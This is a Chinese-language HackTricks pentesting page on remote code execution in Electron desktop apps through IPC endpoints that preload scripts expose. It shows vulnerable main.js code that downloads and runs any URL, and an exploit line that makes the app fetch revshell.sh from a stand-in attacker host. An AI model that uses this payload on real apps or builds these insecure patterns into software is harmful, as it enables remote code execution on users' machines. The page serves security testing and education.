hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md

4.8 KiB
Raw Blame History

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式

如果预加载脚本从main.js文件暴露了IPC端点则渲染器进程将能够访问它如果存在漏洞则可能发生RCE。

所有这些示例都来自于这里 https://www.youtube.com/watch?v=xILfQGkLXQo。查看视频以获取更多信息。

示例 1

检查main.js如何监听getUpdate,并将下载并执行传递的任何URL。
还要检查preload.js如何暴露主要的任何IPC事件。

// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});

mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};

利用:

<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>

例子 2

如果预加载脚本直接向渲染器公开了调用 shell.openExternal 的方法,就有可能获得远程代码执行。

// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};

例子 3

如果 preload 脚本暴露了与主进程完全通信的方式XSS 将能够发送任何事件。这取决于主进程在 IPC 方面暴露了什么。

window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

其他支持HackTricks的方式